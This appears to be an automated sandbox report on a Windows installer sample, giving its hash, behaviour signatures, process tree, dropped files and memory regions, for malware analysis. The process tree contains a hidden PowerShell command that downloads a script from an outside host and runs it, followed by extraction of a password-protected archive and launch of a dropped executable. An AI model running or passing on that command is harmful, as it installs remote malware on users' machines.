Analysis
- user interaction
yes - max time kernel
20s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
28/08/2026, 19:41
General
- Target App_pack_setup_v28.8.1.exe
- Size 43.9MB
- Sample260828-yd6dwssfph
- SHA256 39dc5110546f11b2ca0adfd9e47650ff5862c67c77bb1553298780fe5559b9eb
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- UPX packed file 10 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Inno Setup is an open-source installation builder for Windows applications. 5 IoCs
Inno Setup installer
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\App_pack_setup_v28.8.1.exe"C:\Users\Admin\AppData\Local\Temp\App_pack_setup_v28.8.1.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\is-I0YTTUHHR4.tmp\App_pack_setup_v28.8.1.tmp"C:\Users\Admin\AppData\Local\Temp\is-I0YTTUHHR4.tmp\App_pack_setup_v28.8.1.tmp" /SL5="$50230,5983414,907776,C:\Users\Admin\AppData\Local\Temp\App_pack_setup_v28.8.1.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
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C:\Users\Admin\AppData\Local\Temp\App_pack_setup_v28.8.1.exe"C:\Users\Admin\AppData\Local\Temp\App_pack_setup_v28.8.1.exe" /VERYSILENT /PASSWORD=3c86fff7-dd39-45f8-aff3-5a0fe2a755de3⤵
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C:\Users\Admin\AppData\Local\Temp\is-QPUOFRS53D.tmp\App_pack_setup_v28.8.1.tmp"C:\Users\Admin\AppData\Local\Temp\is-QPUOFRS53D.tmp\App_pack_setup_v28.8.1.tmp" /SL5="$C019E,5983414,907776,C:\Users\Admin\AppData\Local\Temp\App_pack_setup_v28.8.1.exe" /VERYSILENT /PASSWORD=3c86fff7-dd39-45f8-aff3-5a0fe2a755de4⤵
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C:\ProgramData\LightSeaGreenDarkGoldenRod\FnHotkeyUtility.exe"C:\ProgramData\LightSeaGreenDarkGoldenRod\FnHotkeyUtility.exe" --webview-exe-name=SearchHost.exe5⤵
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"6⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"6⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "irm https://sihapp.xyz/github2.ps1 | iex"6⤵
- Command and Scripting Interpreter: PowerShell
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C:\Users\Admin\AppData\Local\Temp\svc_1433291319\7za.exe"C:\Users\Admin\AppData\Local\Temp\svc_1433291319\7za.exe" x C:\Users\Admin\AppData\Local\Temp\svc_1433291319\1.zip -oC:\Users\Admin\AppData\Local\Temp\svc_1433291319\out -pPassword2026Enter -y7⤵
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C:\Users\Admin\AppData\Local\Temp\svc_1433291319\out\1\Stablewin.exe"C:\Users\Admin\AppData\Local\Temp\svc_1433291319\out\1\Stablewin.exe"7⤵
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
FnHotkeyUtility.exe
MSVCP140.dll
VCRUNTIME140.dll
VCRUNTIME140_1.dll
ludp.dll
spkvol.dll
Log.txt
Log.txt
Log.txt
Log.txt
Log.txt
Log.txt
Log.txt
Log.txt
_isdecmp.dll
App_pack_setup_v28.8.1.tmp
1.zip
7za.exe
memory/792-62-0x00000000005C0000-0x00000000006AD000-memory.dmp
memory/792-22-0x00000000005C0000-0x00000000006AD000-memory.dmp
memory/2156-206-0x0000024C6CA80000-0x0000024C6CA8A000-memory.dmp
memory/2156-165-0x0000024C6C550000-0x0000024C6C572000-memory.dmp
memory/2156-204-0x0000024C6CA60000-0x0000024C6CA7E000-memory.dmp
memory/2156-205-0x0000024C6CD00000-0x0000024C6CDB2000-memory.dmp
memory/2156-192-0x0000024C6CB30000-0x0000024C6CCF2000-memory.dmp
memory/2356-269-0x00007FF7246F0000-0x00007FF725FA7000-memory.dmp
memory/2356-267-0x00000226004C0000-0x00000226004D0000-memory.dmp
memory/2356-270-0x00007FF7246F0000-0x00007FF725FA7000-memory.dmp
memory/2356-266-0x00007FF7246F0000-0x00007FF725FA7000-memory.dmp
memory/4148-12-0x00000000009E0000-0x0000000000E2B000-memory.dmp
memory/4148-21-0x00000000009E0000-0x0000000000E2B000-memory.dmp
memory/4148-17-0x00000000009E0000-0x0000000000E2B000-memory.dmp
memory/4148-26-0x00000000009E0000-0x0000000000E2B000-memory.dmp
memory/4148-6-0x00000000018A0000-0x00000000018A1000-memory.dmp
memory/4148-15-0x00000000009E0000-0x0000000000E2B000-memory.dmp
memory/4148-13-0x00000000018A0000-0x00000000018A1000-memory.dmp
memory/4472-68-0x00007FF8CFBB0000-0x00007FF8CFFF1000-memory.dmp
memory/4472-258-0x00007FF8CFBB0000-0x00007FF8CFFF1000-memory.dmp
memory/4472-130-0x0000000140000000-0x0000000141E13000-memory.dmp
memory/4472-82-0x00007FF8CFBB0000-0x00007FF8CFFF1000-memory.dmp
memory/4472-69-0x0000000140000000-0x0000000141E13000-memory.dmp
memory/4472-131-0x0000000140000000-0x0000000141E13000-memory.dmp
memory/4472-67-0x00007FF8CFBB0000-0x00007FF8CFFF1000-memory.dmp
memory/4472-66-0x00007FF8CFBB0000-0x00007FF8CFFF1000-memory.dmp
memory/4472-227-0x0000000140000000-0x0000000141E13000-memory.dmp
memory/4472-232-0x0000000140000000-0x0000000141E13000-memory.dmp
memory/4472-65-0x00007FF758F00000-0x00007FF759054000-memory.dmp
memory/4472-64-0x00007FF8CFBB0000-0x00007FF8CFFF1000-memory.dmp
memory/4932-0-0x00000000005C0000-0x00000000006AD000-memory.dmp
memory/4932-27-0x00000000005C0000-0x00000000006AD000-memory.dmp
memory/4932-11-0x00000000005C0000-0x00000000006AD000-memory.dmp
memory/5368-59-0x00000000001D0000-0x000000000061B000-memory.dmp
memory/5368-30-0x00000000029B0000-0x00000000029B1000-memory.dmp